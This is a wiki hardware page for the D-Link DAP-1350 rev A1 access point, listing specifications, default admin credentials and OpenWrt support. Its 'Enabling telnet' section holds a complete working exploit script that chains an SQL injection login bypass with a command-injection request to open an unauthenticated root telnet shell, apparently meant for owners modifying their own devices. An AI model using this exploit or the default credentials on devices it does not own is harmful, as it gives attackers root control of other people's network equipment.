D-Link DAP-1350 rev A1

From TechInfoDepot
Jump to navigationJump to search
multiple revisions of this device, use caution
bgn (N300)
Wireless N Pocket Router & Access Point
Homepage Product page
Wikipedia D-Link
InfoDepot Wiki D-Link DAP-1350
WikiDevi.wi-cat.ru D-Link DAP-1350 rev A1
3rd Party Firmware
dd-wrt Status Unknown
OpenWrt Was Supported
Tomato any flavor Incompatible
Gargoyle Status Unknown
Platform
BrandModelRev D-Link DAP-1350 A1
FCC ID (fcc.io) KA2AP1350A1
FCC ID (fcc.report) KA2AP1350A1
IC ID 4216A-AP1350
Type wireless router, access point
CPU1 checkY Ralink RT3052
CPU1 Type MIPS 24KEc
CPU1 Speed 384 MHz
Flash1 Chip Macronix MX29LV640EBTI-70G
Flash1 Size 8 MiB 8,388,608 B <br />65,536 Kib <br />8,192 KiB <br />64 Mib <br />0.00781 GiB <br />
RAM1 Size 32 MiB 33,554,432 B <br />262,144 Kib <br />32,768 KiB <br />256 Mib <br />0.0313 GiB <br />
RAM1 Chip ESMT M12L128168A-7T x 2
ETH chip1 Ralink RT3052
Ethernet Port Count 1-100MbE-LAN
Wired Standard IEEE 802.3i/3u

802dot11 OUI: 00:18:E7 (11 E, 22 W)
Ethernet OUI: 00:18:E7 (11 E, 22 W)

Stock bootloader U-Boot
Stock FW OS Linux
Expansion IF types USB 2.0
USB ports 1
USB Hub Compatible Untested
Power 5 VDC, 2.5 A
Connector type barrel
Serial Port (UART) yes
Other

Default SSID: dlink (38 addl. devices)
Default IP address: 192.168.0.50
the IP 192.168.0.50 is used by 63 additional devices
of which 62 are D-Link devices
Default login user: admin
Default login password: blank
admin:blank credentials used by 379 additional devices
of which 194 are D-Link devices

Manuf/OEM/ODM Cameo
3rd Party Firmware Support OpenWrt (Was)
Retail
Availability End of Life
FCC approval date 15 September 2009
ASIN B003Q9AZHU
Country of manuf China
Physical
LEDs/Color Blue/Red
Radio 1
Chip1 Ralink RT3052
Wireless interface OUI 00:18:E7
Antenna Connector Type Internal
MIMO status 2x2:2
Wireless Standard IEEE 802.11b/g/n
802.11n up to 300 Mbps
802.11g up to 54 Mbps
802.11b up to 11 Mbps
WiFi Operating Frequency 2.4 GHz
 CPU1 brandRadio1 chip1 brandRadio1 chip2 brand
D-Link DAP-1350 rev A1RalinkRalink
D-Link DAP-1350 rev B1RalinkRalink

For a list of all currently documented Ralink chipsets with specifications, see Ralink.

For a list of all currently documented D-Link devices with specifications, see D-Link.

300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class

Overview

Interface emulator

Links of Interest

Forum threads

OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.
You can build your own firmware now or wait for the Attitude Adjustment release.

Flashing

Flashing OpenWrt

Target: ramips
Subtarget: rt305x
Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: EOL
Last Supported Version: 22.03.7
Comment:
Final version: 22.03.7

Please insert instructions here

JTAG-Serial Info

Serial

Enabling telnet

A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.

A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.

telnet • >>
#!/bin/ksh

# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.

host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"

# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"

echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"

echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi

Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.

    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #

The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.

Pictures

Retail Images